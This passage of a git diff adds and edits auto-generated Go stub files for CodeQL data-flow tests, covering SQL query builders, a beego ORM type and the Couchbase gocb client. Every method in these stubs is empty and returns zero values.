+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) MustSql() (string, []interface{}) {
+	return "", nil
+}
+
+func (_ InsertBuilder) Options(_ ...string) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) PlaceholderFormat(_ PlaceholderFormat) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) Prefix(_ string, _ ...interface{}) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) PrefixExpr(_ Sqlizer) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) Query() (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ InsertBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ InsertBuilder) QueryRow() RowScanner {
+	return nil
+}
+
+func (_ InsertBuilder) QueryRowContext(_ context.Context) RowScanner {
+	return nil
+}
+
+func (_ InsertBuilder) RunWith(_ BaseRunner) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) Scan(_ ...interface{}) error {
+	return nil
+}
+
+func (_ InsertBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
+	return nil
+}
+
+func (_ InsertBuilder) Select(_ SelectBuilder) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) SetMap(_ map[string]interface{}) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) Suffix(_ string, _ ...interface{}) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) SuffixExpr(_ Sqlizer) InsertBuilder {
+	return InsertBuilder{}
+}
+
+func (_ InsertBuilder) ToSql() (string, []interface{}, error) {
+	return "", nil, nil
+}
+
+func (_ InsertBuilder) Values(_ ...interface{}) InsertBuilder {
+	return InsertBuilder{}
+}
+
+type PlaceholderFormat interface {
+	ReplacePlaceholders(_ string) (string, error)
+}
+
+func QueryContextWith(_ context.Context, _ QueryerContext, _ Sqlizer) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func QueryRowContextWith(_ context.Context, _ QueryRowerContext, _ Sqlizer) RowScanner {
+	return nil
+}
+
+func QueryRowWith(_ QueryRower, _ Sqlizer) RowScanner {
+	return nil
+}
+
+type QueryRower interface {
+	QueryRow(_ string, _ ...interface{}) RowScanner
+}
+
+type QueryRowerContext interface {
+	QueryRowContext(_ context.Context, _ string, _ ...interface{}) RowScanner
+}
+
+func QueryWith(_ Queryer, _ Sqlizer) (*sql.Rows, error) {
+	return nil, nil
+}
+
+type Queryer interface {
+	Query(_ string, _ ...interface{}) (*sql.Rows, error)
+}
+
+type QueryerContext interface {
+	QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
+}
+
+type RowScanner interface {
+	Scan(_ ...interface{}) error
+}
+
+type SelectBuilder struct{}
+
+func (_ SelectBuilder) Column(_ interface{}, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Columns(_ ...string) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) CrossJoin(_ string, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Distinct() SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Exec() (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ SelectBuilder) ExecContext(_ context.Context) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ SelectBuilder) From(_ string) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) FromSelect(_ SelectBuilder, _ string) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) GroupBy(_ ...string) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Having(_ interface{}, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) InnerJoin(_ string, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Join(_ string, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) JoinClause(_ interface{}, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) LeftJoin(_ string, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Limit(_ uint64) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) MustSql() (string, []interface{}) {
+	return "", nil
+}
+
+func (_ SelectBuilder) Offset(_ uint64) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Options(_ ...string) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) OrderBy(_ ...string) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) OrderByClause(_ interface{}, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) PlaceholderFormat(_ PlaceholderFormat) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Prefix(_ string, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) PrefixExpr(_ Sqlizer) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Query() (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ SelectBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ SelectBuilder) QueryRow() RowScanner {
+	return nil
+}
+
+func (_ SelectBuilder) QueryRowContext(_ context.Context) RowScanner {
+	return nil
+}
+
+func (_ SelectBuilder) RemoveColumns() SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) RemoveLimit() SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) RemoveOffset() SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) RightJoin(_ string, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) RunWith(_ BaseRunner) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) Scan(_ ...interface{}) error {
+	return nil
+}
+
+func (_ SelectBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
+	return nil
+}
+
+func (_ SelectBuilder) Suffix(_ string, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) SuffixExpr(_ Sqlizer) SelectBuilder {
+	return SelectBuilder{}
+}
+
+func (_ SelectBuilder) ToSql() (string, []interface{}, error) {
+	return "", nil, nil
+}
+
+func (_ SelectBuilder) Where(_ interface{}, _ ...interface{}) SelectBuilder {
+	return SelectBuilder{}
+}
+
+type Sqlizer interface {
+	ToSql() (string, []interface{}, error)
+}
+
+type StdSql interface {
+	Exec(_ string, _ ...interface{}) (sql.Result, error)
+	Query(_ string, _ ...interface{}) (*sql.Rows, error)
+	QueryRow(_ string, _ ...interface{}) *sql.Row
+}
+
+type StdSqlCtx interface {
+	Exec(_ string, _ ...interface{}) (sql.Result, error)
+	ExecContext(_ context.Context, _ string, _ ...interface{}) (sql.Result, error)
+	Query(_ string, _ ...interface{}) (*sql.Rows, error)
+	QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
+	QueryRow(_ string, _ ...interface{}) *sql.Row
+	QueryRowContext(_ context.Context, _ string, _ ...interface{}) *sql.Row
+}
+
+type UpdateBuilder struct{}
+
+func (_ UpdateBuilder) Exec() (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ UpdateBuilder) ExecContext(_ context.Context) (sql.Result, error) {
+	return nil, nil
+}
+
+func (_ UpdateBuilder) From(_ string) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) FromSelect(_ SelectBuilder, _ string) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) Limit(_ uint64) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) MustSql() (string, []interface{}) {
+	return "", nil
+}
+
+func (_ UpdateBuilder) Offset(_ uint64) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) OrderBy(_ ...string) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) PlaceholderFormat(_ PlaceholderFormat) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) Prefix(_ string, _ ...interface{}) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) PrefixExpr(_ Sqlizer) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) Query() (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ UpdateBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
+	return nil, nil
+}
+
+func (_ UpdateBuilder) QueryRow() RowScanner {
+	return nil
+}
+
+func (_ UpdateBuilder) QueryRowContext(_ context.Context) RowScanner {
+	return nil
+}
+
+func (_ UpdateBuilder) RunWith(_ BaseRunner) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) Scan(_ ...interface{}) error {
+	return nil
+}
+
+func (_ UpdateBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
+	return nil
+}
+
+func (_ UpdateBuilder) Set(_ string, _ interface{}) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) SetMap(_ map[string]interface{}) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) Suffix(_ string, _ ...interface{}) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) SuffixExpr(_ Sqlizer) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) Table(_ string) UpdateBuilder {
+	return UpdateBuilder{}
+}
+
+func (_ UpdateBuilder) ToSql() (string, []interface{}, error) {
+	return "", nil, nil
+}
+
+func (_ UpdateBuilder) Where(_ interface{}, _ ...interface{}) UpdateBuilder {
+	return UpdateBuilder{}
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/beego/beego/v2/client/orm/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/beego/beego/v2/client/orm/stub.go
index 4dfcd2aefc85..58000359ed5d 100644
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/beego/beego/v2/client/orm/stub.go
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/beego/beego/v2/client/orm/stub.go
@@ -2,7 +2,7 @@
 // This is a simple stub for github.com/beego/beego/v2/client/orm, strictly for use in testing.
 
 // See the LICENSE file for information about the licensing of the original library.
-// Source: github.com/beego/beego/v2/client/orm (exports: DQL,DB,Ormer; functions: NewOrm)
+// Source: github.com/beego/beego/v2/client/orm (exports: DB,DQL,Ormer; functions: NewOrm)
 
 // Package orm is a stub of github.com/beego/beego/v2/client/orm, generated by depstubber.
 package orm
@@ -56,30 +56,10 @@ func (_ *Condition) OrNotCond(_ *Condition) *Condition {
 }
 
 type DB struct {
-	RWMutex *sync.RWMutex
-	DB      *sql.DB
+	*sync.RWMutex
+	DB *sql.DB
 }
 
-func (_ DB) Lock() {}
-
-func (_ DB) RLock() {}
-
-func (_ DB) RLocker() sync.Locker {
-	return nil
-}
-
-func (_ DB) RUnlock() {}
-
-func (_ DB) TryLock() bool {
-	return false
-}
-
-func (_ DB) TryRLock() bool {
-	return false
-}
-
-func (_ DB) Unlock() {}
-
 func (_ *DB) Begin() (*sql.Tx, error) {
 	return nil, nil
 }
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/couchbase/gocb/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/couchbase/gocb/stub.go
new file mode 100644
index 000000000000..ba230f183b4f
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/couchbase/gocb/stub.go
@@ -0,0 +1,1273 @@
+// Code generated by depstubber. DO NOT EDIT.
+// This is a simple stub for github.com/couchbase/gocb, strictly for use in testing.
+
+// See the LICENSE file for information about the licensing of the original library.
+// Source: github.com/couchbase/gocb (exports: Cluster,AnalyticsResults,QueryResults,SearchResults; functions: )
+
+// Package gocb is a stub of github.com/couchbase/gocb, generated by depstubber.
+package gocb
+
+import (
+	time "time"
+)
+
+type AnalyticsDeferredResultHandle interface {
+	Close() error
+	Next(_ interface{}) bool
+	NextBytes() []byte
+	One(_ interface{}) error
+	Status() (string, error)
+}
+
+type AnalyticsIngestOptions struct{}
+
+func (_ *AnalyticsIngestOptions) AnalyticsTimeout(_ time.Duration) *AnalyticsIngestOptions {
+	return nil
+}
+
+func (_ *AnalyticsIngestOptions) DataConverter(_ DataConverterFunction) *AnalyticsIngestOptions {
+	return nil
+}
+
+func (_ *AnalyticsIngestOptions) IdGenerator(_ IdGeneratorFunction) *AnalyticsIngestOptions {
+	return nil
+}
+
+func (_ *AnalyticsIngestOptions) IgnoreIngestError(_ bool) *AnalyticsIngestOptions {
+	return nil
+}
+
+func (_ *AnalyticsIngestOptions) IngestMethod(_ interface{}) *AnalyticsIngestOptions {
+	return nil
+}
+
+func (_ *AnalyticsIngestOptions) KVRetryBehavior(_ QueryRetryBehavior) *AnalyticsIngestOptions {
+	return nil
+}
+
+func (_ *AnalyticsIngestOptions) KVRetryOn(_ []error) *AnalyticsIngestOptions {
+	return nil
+}
+
+type AnalyticsQuery struct{}
+
+func (_ *AnalyticsQuery) ContextId(_ string) *AnalyticsQuery {
+	return nil
+}
+
+func (_ *AnalyticsQuery) Deferred(_ bool) *AnalyticsQuery {
+	return nil
+}
+
+func (_ *AnalyticsQuery) Pretty(_ bool) *AnalyticsQuery {
+	return nil
+}
+
+func (_ *AnalyticsQuery) Priority(_ bool) *AnalyticsQuery {
+	return nil
+}
+
+func (_ *AnalyticsQuery) RawParam(_ string, _ interface{}) *AnalyticsQuery {
+	return nil
+}
+
+func (_ *AnalyticsQuery) ServerSideTimeout(_ time.Duration) *AnalyticsQuery {
+	return nil
+}
+
+type AnalyticsResultMetrics struct {
+	ElapsedTime      time.Duration
+	ExecutionTime    time.Duration
+	ResultCount      uint
+	ResultSize       uint
+	MutationCount    uint
+	SortCount        uint
+	ErrorCount       uint
+	WarningCount     uint
+	ProcessedObjects uint
+}
+
+type AnalyticsResults interface {
+	ClientContextId() string
+	Close() error
+	Handle() AnalyticsDeferredResultHandle
+	Metrics() AnalyticsResultMetrics
+	Next(_ interface{}) bool
+	NextBytes() []byte
+	One(_ interface{}) error
+	RequestId() string
+	Signature() interface{}
+	Status() string
+	Warnings() []AnalyticsWarning
+}
+
+type AnalyticsWarning struct {
+	Code    uint32
+	Message string
+}
+
+type AuthCredsRequest struct {
+	Service  ServiceType
+	Endpoint string
+	Bucket   string
+}
+
+type AuthDomain string
+
+type Authenticator interface {
+	Credentials(_ AuthCredsRequest) ([]UserPassPair, error)
+}
+
+type Bucket struct{}
+
+func (_ *Bucket) AnalyticsIngest(_ *AnalyticsQuery, _ []interface{}, _ *AnalyticsIngestOptions) error {
+	return nil
+}
+
+func (_ *Bucket) AnalyticsTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Bucket) Append(_ string, _ string) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) AppendDura(_ string, _ string, _ uint, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) AppendMt(_ string, _ string) (Cas, MutationToken, error) {
+	return 0, MutationToken{}, nil
+}
+
+func (_ *Bucket) BulkOperationTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Bucket) Close() error {
+	return nil
+}
+
+func (_ *Bucket) Counter(_ string, _ int64, _ int64, _ uint32) (uint64, Cas, error) {
+	return 0, 0, nil
+}
+
+func (_ *Bucket) CounterDura(_ string, _ int64, _ int64, _ uint32, _ uint, _ uint) (uint64, Cas, error) {
+	return 0, 0, nil
+}
+
+func (_ *Bucket) CounterMt(_ string, _ int64, _ int64, _ uint32) (uint64, Cas, MutationToken, error) {
+	return 0, 0, MutationToken{}, nil
+}
+
+func (_ *Bucket) Diagnostics() (*DiagnosticReport, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) Do(_ []BulkOp) error {
+	return nil
+}
+
+func (_ *Bucket) DurabilityPollTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Bucket) DurabilityTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Bucket) ExecuteAnalyticsQuery(_ *AnalyticsQuery, _ interface{}) (AnalyticsResults, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) ExecuteN1qlQuery(_ *N1qlQuery, _ interface{}) (QueryResults, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) ExecuteSearchQuery(_ *SearchQuery) (SearchResults, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) ExecuteSpatialQuery(_ *SpatialQuery) (ViewResults, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) ExecuteViewQuery(_ *ViewQuery) (ViewResults, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) Get(_ string, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) GetAndLock(_ string, _ uint32, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) GetAndTouch(_ string, _ uint32, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) GetReplica(_ string, _ interface{}, _ int) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) Insert(_ string, _ interface{}, _ uint32) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) InsertDura(_ string, _ interface{}, _ uint32, _ uint, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) InsertMt(_ string, _ interface{}, _ uint32) (Cas, MutationToken, error) {
+	return 0, MutationToken{}, nil
+}
+
+func (_ *Bucket) Internal() *BucketInternal {
+	return nil
+}
+
+func (_ *Bucket) InvalidateQueryCache() {}
+
+func (_ *Bucket) IoRouter() interface{} {
+	return nil
+}
+
+func (_ *Bucket) ListAppend(_ string, _ interface{}, _ bool) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) ListGet(_ string, _ uint, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) ListPrepend(_ string, _ interface{}, _ bool) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) ListRemove(_ string, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) ListSet(_ string, _ uint, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) ListSize(_ string) (uint, Cas, error) {
+	return 0, 0, nil
+}
+
+func (_ *Bucket) LookupIn(_ string) *LookupInBuilder {
+	return nil
+}
+
+func (_ *Bucket) LookupInEx(_ string, _ SubdocDocFlag) *LookupInBuilder {
+	return nil
+}
+
+func (_ *Bucket) Manager(_ string, _ string) *BucketManager {
+	return nil
+}
+
+func (_ *Bucket) MapAdd(_ string, _ string, _ interface{}, _ bool) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) MapGet(_ string, _ string, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) MapRemove(_ string, _ string) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) MapSize(_ string) (uint, Cas, error) {
+	return 0, 0, nil
+}
+
+func (_ *Bucket) MutateIn(_ string, _ Cas, _ uint32) *MutateInBuilder {
+	return nil
+}
+
+func (_ *Bucket) MutateInEx(_ string, _ SubdocDocFlag, _ Cas, _ uint32) *MutateInBuilder {
+	return nil
+}
+
+func (_ *Bucket) MutateInExDura(_ string, _ SubdocDocFlag, _ Cas, _ uint32, _ uint, _ uint) *MutateInBuilder {
+	return nil
+}
+
+func (_ *Bucket) N1qlTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Bucket) Name() string {
+	return ""
+}
+
+func (_ *Bucket) OperationTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Bucket) Ping(_ []ServiceType) (*PingReport, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) Prepend(_ string, _ string) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) PrependDura(_ string, _ string, _ uint, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) PrependMt(_ string, _ string) (Cas, MutationToken, error) {
+	return 0, MutationToken{}, nil
+}
+
+func (_ *Bucket) QueuePop(_ string, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) QueuePush(_ string, _ interface{}, _ bool) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) QueueSize(_ string) (uint, Cas, error) {
+	return 0, 0, nil
+}
+
+func (_ *Bucket) Remove(_ string, _ Cas) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) RemoveDura(_ string, _ Cas, _ uint, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) RemoveMt(_ string, _ Cas) (Cas, MutationToken, error) {
+	return 0, MutationToken{}, nil
+}
+
+func (_ *Bucket) Replace(_ string, _ interface{}, _ Cas, _ uint32) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) ReplaceDura(_ string, _ interface{}, _ Cas, _ uint32, _ uint, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) ReplaceMt(_ string, _ interface{}, _ Cas, _ uint32) (Cas, MutationToken, error) {
+	return 0, MutationToken{}, nil
+}
+
+func (_ *Bucket) SetAdd(_ string, _ interface{}, _ bool) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) SetAnalyticsQueryRetryBehavior(_ QueryRetryBehavior) {}
+
+func (_ *Bucket) SetAnalyticsTimeout(_ time.Duration) {}
+
+func (_ *Bucket) SetBulkOperationTimeout(_ time.Duration) {}
+
+func (_ *Bucket) SetDurabilityPollTimeout(_ time.Duration) {}
+
+func (_ *Bucket) SetDurabilityTimeout(_ time.Duration) {}
+
+func (_ *Bucket) SetExists(_ string, _ interface{}) (bool, Cas, error) {
+	return false, 0, nil
+}
+
+func (_ *Bucket) SetN1qlTimeout(_ time.Duration) {}
+
+func (_ *Bucket) SetOperationTimeout(_ time.Duration) {}
+
+func (_ *Bucket) SetRemove(_ string, _ interface{}) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) SetSearchQueryRetryBehavior(_ QueryRetryBehavior) {}
+
+func (_ *Bucket) SetSize(_ string) (uint, Cas, error) {
+	return 0, 0, nil
+}
+
+func (_ *Bucket) SetTranscoder(_ Transcoder) {}
+
+func (_ *Bucket) SetViewTimeout(_ time.Duration) {}
+
+func (_ *Bucket) Stats(_ string) (ServerStats, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) Touch(_ string, _ Cas, _ uint32) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) TouchDura(_ string, _ Cas, _ uint32, _ uint, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) UUID() string {
+	return ""
+}
+
+func (_ *Bucket) Unlock(_ string, _ Cas) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) Upsert(_ string, _ interface{}, _ uint32) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) UpsertDura(_ string, _ interface{}, _ uint32, _ uint, _ uint) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *Bucket) UpsertMt(_ string, _ interface{}, _ uint32) (Cas, MutationToken, error) {
+	return 0, MutationToken{}, nil
+}
+
+func (_ *Bucket) ViewTimeout() time.Duration {
+	return 0
+}
+
+type BucketInternal struct{}
+
+func (_ *BucketInternal) GetRandom(_ interface{}) (string, Cas, error) {
+	return "", 0, nil
+}
+
+func (_ *BucketInternal) RemoveMeta(_ string, _ []byte, _ []byte, _ byte, _ uint32, _ uint32, _ uint32, _ uint64, _ uint64) (Cas, error) {
+	return 0, nil
+}
+
+func (_ *BucketInternal) UpsertMeta(_ string, _ []byte, _ []byte, _ byte, _ uint32, _ uint32, _ uint32, _ uint64, _ uint64) (Cas, error) {
+	return 0, nil
+}
+
+type BucketManager struct{}
+
+func (_ *BucketManager) BuildDeferredIndexes() ([]string, error) {
+	return nil, nil
+}
+
+func (_ *BucketManager) CreateIndex(_ string, _ []string, _ bool, _ bool) error {
+	return nil
+}
+
+func (_ *BucketManager) CreatePrimaryIndex(_ string, _ bool, _ bool) error {
+	return nil
+}
+
+func (_ *BucketManager) DropIndex(_ string, _ bool) error {
+	return nil
+}
+
+func (_ *BucketManager) DropPrimaryIndex(_ string, _ bool) error {
+	return nil
+}
+
+func (_ *BucketManager) Flush() error {
+	return nil
+}
+
+func (_ *BucketManager) GetDesignDocument(_ string) (*DesignDocument, error) {
+	return nil, nil
+}
+
+func (_ *BucketManager) GetDesignDocuments() ([]*DesignDocument, error) {
+	return nil, nil
+}
+
+func (_ *BucketManager) GetIndexes() ([]IndexInfo, error) {
+	return nil, nil
+}
+
+func (_ *BucketManager) InsertDesignDocument(_ *DesignDocument) error {
+	return nil
+}
+
+func (_ *BucketManager) RemoveDesignDocument(_ string) error {
+	return nil
+}
+
+func (_ *BucketManager) UpsertDesignDocument(_ *DesignDocument) error {
+	return nil
+}
+
+func (_ *BucketManager) WatchIndexes(_ []string, _ bool, _ time.Duration) error {
+	return nil
+}
+
+type BucketSettings struct {
+	FlushEnabled  bool
+	IndexReplicas bool
+	Name          string
+	Password      string
+	Quota         int
+	Replicas      int
+	Type          BucketType
+}
+
+type BucketType int
+
+type BulkOp interface{}
+
+type Cas uint64
+
+type Cluster struct{}
+
+func (_ *Cluster) AnalyticsTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Cluster) Authenticate(_ Authenticator) error {
+	return nil
+}
+
+func (_ *Cluster) Close() error {
+	return nil
+}
+
+func (_ *Cluster) ConnectTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Cluster) EnhancedErrors() bool {
+	return false
+}
+
+func (_ *Cluster) ExecuteAnalyticsQuery(_ *AnalyticsQuery, _ interface{}) (AnalyticsResults, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) ExecuteN1qlQuery(_ *N1qlQuery, _ interface{}) (QueryResults, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) ExecuteSearchQuery(_ *SearchQuery) (SearchResults, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) FtsTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Cluster) InvalidateQueryCache() {}
+
+func (_ *Cluster) Manager(_ string, _ string) *ClusterManager {
+	return nil
+}
+
+func (_ *Cluster) N1qlTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Cluster) NmvRetryDelay() time.Duration {
+	return 0
+}
+
+func (_ *Cluster) OpenBucket(_ string, _ string) (*Bucket, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) OpenBucketWithMt(_ string, _ string) (*Bucket, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) OpenStreamingBucket(_ string, _ string, _ string) (*StreamingBucket, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) ServerConnectTimeout() time.Duration {
+	return 0
+}
+
+func (_ *Cluster) SetAnalyticsTimeout(_ time.Duration) {}
+
+func (_ *Cluster) SetConnectTimeout(_ time.Duration) {}
+
+func (_ *Cluster) SetEnhancedErrors(_ bool) {}
+
+func (_ *Cluster) SetFtsTimeout(_ time.Duration) {}
+
+func (_ *Cluster) SetN1qlTimeout(_ time.Duration) {}
+
+func (_ *Cluster) SetNmvRetryDelay(_ time.Duration) {}
+
+func (_ *Cluster) SetServerConnectTimeout(_ time.Duration) {}
+
+func (_ *Cluster) SetTracer(_ interface{}) {}
+
+type ClusterManager struct{}
+
+func (_ *ClusterManager) GetBuckets() ([]*BucketSettings, error) {
+	return nil, nil
+}
+
+func (_ *ClusterManager) GetUser(_ AuthDomain, _ string) (*User, error) {
+	return nil, nil
+}
+
+func (_ *ClusterManager) GetUsers(_ AuthDomain) ([]*User, error) {
+	return nil, nil
+}
+
+func (_ *ClusterManager) InsertBucket(_ *BucketSettings) error {
+	return nil
+}
+
+func (_ *ClusterManager) Internal() *ClusterManagerInternal {
+	return nil
+}
+
+func (_ *ClusterManager) RemoveBucket(_ string) error {
+	return nil
+}
+
+func (_ *ClusterManager) RemoveUser(_ AuthDomain, _ string) error {
+	return nil
+}
+
+func (_ *ClusterManager) SearchIndexManager() *SearchIndexManager {
+	return nil
+}
+
+func (_ *ClusterManager) UpdateBucket(_ *BucketSettings) error {
+	return nil
+}
+
+func (_ *ClusterManager) UpsertUser(_ AuthDomain, _ string, _ *UserSettings) error {
+	return nil
+}
+
+type ClusterManagerInternal struct{}
+
+func (_ *ClusterManagerInternal) GetNodesMetadata() ([]NodeMetadata, error) {
+	return nil, nil
+}
+
+type ConsistencyMode int
+
+type DataConverterFunction func([]byte) (interface{}, error)
+
+type DesignDocument struct {
+	Name         string
+	Views        map[string]View
+	SpatialViews map[string]View
+}
+
+type DiagConnState int
+
+type DiagnosticEntry struct {
+	Service      ServiceType
+	State        DiagConnState
+	LocalAddr    string
+	RemoteAddr   string
+	LastActivity time.Time
+}
+
+type DiagnosticReport struct {
+	ConfigRev int64
+	Services  []DiagnosticEntry
+}
+
+func (_ *DiagnosticReport) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+type DocumentFragment struct{}
+
+func (_ *DocumentFragment) Cas() Cas {
+	return 0
+}
+
+func (_ *DocumentFragment) Content(_ string, _ interface{}) error {
+	return nil
